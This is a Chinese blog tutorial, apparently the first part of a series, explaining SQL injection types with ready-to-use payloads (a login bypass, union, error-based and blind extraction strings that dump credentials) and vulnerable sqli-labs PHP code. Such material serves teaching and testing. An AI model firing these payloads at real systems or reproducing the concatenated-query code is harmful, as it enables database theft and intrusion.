Web漏洞-SQL注入(上)

SQL注入

原理:

用户输入动态的构造了意外sql语句,造成了意外结果使得攻击者有机可乘。(将sql语句插入或添加到应用参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。)

两个关键点:

①参数是用户可控

②传递到服务器后会和数据库进行交互。一般情况下会有get类型注入、post类型注入、http头部注入。

形成的原因:

①程序员在处理程序和数据交互时,使用字符串拼接的方式构造sql语句

②未对可控参数进行足够的处理便将参数添加到sql语句中

危害:

①数据库信息泄露

②网页篡改

③网站挂马

④数据库被恶意篡改

⑤获取webshell

注入分类:

数据类型分:整型和字符型注入

注入语法分:基于布尔的盲注、基于时间的盲注、报错注入、联合查询注入、堆查询(拼接查询)注入

SQL注入思路:

01、判断漏洞类型(字符型和数字型)

02、爆库名

03、爆表名

04、爆字段

05、爆数据值

万能密码:username: 1' or '1'='1password: 1' or '1'='1

手注模板:
id=1   #判断注入点
id=1'  #判断注入点
id=1' and 1=1  #判断注入点
id=1' and 1=2  #判断注入点
id=1' order by 3 --+  #判断字段数
id=-1' union select 1,database(),user() --+  #查询库名与用户
id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+  #查询表名
?id=-1' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' ) --+  #查询字段名
id=-1' union select 1,database(),(select group_concat(id,email_id) from emails  ) --+  #查询数据
SQL注入分类:

SQL注入可分为字符型和数字型,其他类型都是这两大类的不同展现形式和不同展现位置。也可分四种,分别为:union联合注入、Boolran布尔盲注、time时间盲注、报错注入。

数字型猜测SQL语句为select * from table where id=8

测试语句

id=2 #原始请求
id=2' #页面出现异常,则进行下一步测试
id=2 and 1=1 #语句执行正常,返回数据与原始请求无任何差异
id=2 and 1=2 #语句执行正常,但无法查询出数据,and1=2始终为假,所以返回数据与原始数据有差异

以上测试都满则可能存在SQL注入漏洞

字符型猜测SQL语句为select * from table where username='admin'

字符型注入要注意字符串闭合问题

数据库不同,字符串的连接符也不同,如SQL Server连接符号为+,Oracle连接符为||,Mysql连接符为空格。

01、Union注入

mysql中允许复合查询(多个select语句并列查询),并返回单个结果集。

select username from admin union select password from admin;

Union规则:

  • union必须由两条以上select语句组成,语句之间用union分割

  • union的每个查询必须包含相同的列,表达式等

  • 使用union语句只能用一条order by语句,且放在最后一条select语句后面

代码分析:

<?php
$con=mysqli_connect("localhost","root","root","test");
// 检测连接
if (mysqli_connect_errno())
{
  echo "连接失败: " . mysqli_connect_error();
}

$id = $_GET['id'];

$result = mysqli_query($con,"select * from users where `id`=".$id);

while($row = mysqli_fetch_array($result))
{
  echo $row['username'] . " " . $row['address'];
  echo "<br>";
}
?>

这里11行直接将前端输入的参数id拼接到了sql语句中,这样的话,可以构造变量id=1 union select 1,2,3,后端用来查询的语句就变成了select * from users where id =1 union select 1,2,3

02、Boolean注入

布尔盲注就是猜测,查看前端页面返回的true或false来猜测数据库长度,数据库名字,数据库内容,猜测表和字段。需要用工具去跑,速度最快的方式sqlmap

布尔盲注常用的函数:

length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

代码分析:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  <html xmlns="http://www.w3.org/1999/xhtml">
  <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <title>Less-8 Blind- Boolian- Single Quotes- String</title>
  </head>

  <body bgcolor="#000000">
  <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
  <font size="3" color="#FFFF00">


  <?php
  //including the Mysql connect parameters.
  include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
  $id=$_GET['id'];
  //logging the connection parameters to a file for analysis.
  $fp=fopen('result.txt','a');
  fwrite($fp,'ID:'.$id."\n");
  fclose($fp);

  // connectivity 


  $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  $result=mysql_query($sql);
  $row = mysql_fetch_array($result);

  if($row)
  {
    echo '<font size="5" color="#FFFF00">';	
    echo 'You are in...........';
    echo "<br>";
    echo "</font>";
  }
  else 
  {

    echo '<font size="5" color="#FFFF00">';
    //echo 'You are in...........';
    //print_r(mysql_error());
    //echo "You have an error in your SQL syntax";
    echo "</br></font>";	
    echo '<font color= "#0000ff" font size= 3>';	

  }
}
else { echo "Please input the ID as parameter with numeric value";}

?>

</font> </div></br></br></br><center>
  <img src="../images/Less-8.jpg" /></center>
</body>
</html>

id参数的值写入txt文件中,然后result时mysql_sql执行sql语句的结果,$row是mysql_fetch_array生成的数组,从前端输入参数id,后端查询数据库,该盲注不显示报错信息,只在成功时显示,失败是不显示

03、时间注入

时间注入判断的原理也是猜测,采用延迟函数根据页面反应的时间进行判断是否存在注入点。

延迟注入函数:

sleep #延迟函数benchmark(count,expr) #count:运行次数 expr:运行的命令 通过多次运行产生延时笛卡尔积 #count(*),通过计算表中数据的数量产生延迟
get_lock(str,timeout) #对一个字符上锁,在新回话开启后,再次使用这个字符会有延时
if(condition,true,false) #条件语句if表达式:if(expr1,expr2,expr3) #expr1为条件,expr2和expr3为返回值。和if判断语句一样

代码分析:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  <html xmlns="http://www.w3.org/1999/xhtml">
  <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <title>Less-9 Blind- Time based- Single Quotes- String</title>
  </head>

  <body bgcolor="#000000">
  <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
  <font size="3" color="#FFFF00">


  <?php
  //including the Mysql connect parameters.
  include("../sql-connections/sql-connect.php");
error_reporting(0);

// take the variables
if(isset($_GET['id']))
{
  $id=$_GET['id'];
  //logging the connection parameters to a file for analysis.
  $fp=fopen('result.txt','a');
  fwrite($fp,'ID:'.$id."\n");
  fclose($fp);

  // connectivity 


  $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  $result=mysql_query($sql);
  $row = mysql_fetch_array($result);

  if($row)
  {
    echo '<font size="5" color="#FFFF00">';	
    echo 'You are in...........';
    echo "<br>";
    echo "</font>";
  }
  else 
  {

    echo '<font size="5" color="#FFFF00">';
    echo 'You are in...........';
    //print_r(mysql_error());
    //echo "You have an error in your SQL syntax";
    echo "</br></font>";
    echo '<font color= "#0000ff" font size= 3>';
  }
}
else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
  <img src="../images/Less-9.jpg" /></center>
</body>
</html>

第37行和45行表示,不管对错都会显示。

04、报错注入

报错注入是利用数据库的报错机制,人为制造错误查询,使得查询结果出现在报错信息中。

基本思路:判断是否存在漏洞id=1',看报错情况,构造错误语法进行闭合,爆库,爆表,爆字段,报数据

报错注入相关函数:

updatexml(Xml_document,Xpathstring,new_value)
    	  Xml_document:目标文档
    	  Xpathstring:路径
    	  new_value:更新的值

爆数据库名:
username=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
爆数据库表名:
username=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) --+
爆字段名:
username=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
爆数据值:
username=1' and updatexml(1,substring(concat(0x7e,(select group_concat(username,0x3a,password,0x3a) from test.users),0x7e),32,64),1) --+



extractvalue(Xml_document,XMLstring)
    	     Xml_document:目标文档
    	     Xpathstring:XML路径
爆数据库名:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select database())))) --+
爆数据库表名:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test')))) --+
爆字段名:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users'))))--+
爆数据值:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password) from security.users)))) --+


floor()函数

爆数据名:username=1' and (select 1 from  (select count(*),concat(database(),floor(rand(0)*2))x from  information_schema.tables group by x)a) --+

代码分析:

<?php
$con=mysqli_connect("localhost","root","root","test");
// 检测连接
if (mysqli_connect_errno())
{
    echo "连接失败: " . mysqli_connect_error();
}

$username = $_GET['username'];
$sql = "select * from users where 'username'='$username'";
if($result = mysqli_query($con,$sql)){
    echo "ok";
}else{
    echo mysqli_error($con);
}

?>

第14行,mysqli_error会打印处数据库抱错的信息

05、堆叠查询注入

堆叠查询也可以称为多条语句拼接查询,每条语句中间用;隔开 (该方式毫无限制)

堆叠查询可以在登录输入密码的时候向数据库中新添加个新用户,完了就可以登录新用户了,具体可以去做sqli-labs-master靶场

代码分析:

function sqllogin($host,$dbuser,$dbpass, $dbname){
   // connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);
   
   $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];

   // Check connection
   if (mysqli_connect_errno($con1))
   {
       echo "Failed to connect to MySQL: " . mysqli_connect_error();
   }
   else
   {
       @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
   }


   /* execute multi query */

   
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
   if (@mysqli_multi_query($con1, $sql))
   {
        /* store first result set */
      if($result = @mysqli_store_result($con1))
      {
	 if($row = @mysqli_fetch_row($result))
	 {
	    if ($row[1])
	    {
	       return $row[1];
	    }
	    else
	    {
	       return 0;
	    }
	 }
      }
      
      else 
      {
	echo '<font size="5" color= "#FFFF00">';
	print_r(mysqli_error($con1));
	echo "</font>";  
      }
   }
   else 
   {
	echo '<font size="5" color= "#FFFF00">';
	print_r(mysqli_error($con1));
	echo "</font>";  
    }
}

可以看到 $username = mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"];用户名处进行转义,但是密码出不存在转义,直接POST提交了,造成了堆叠注入

未完待续~下午更新web漏洞—SQL注入(下)

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值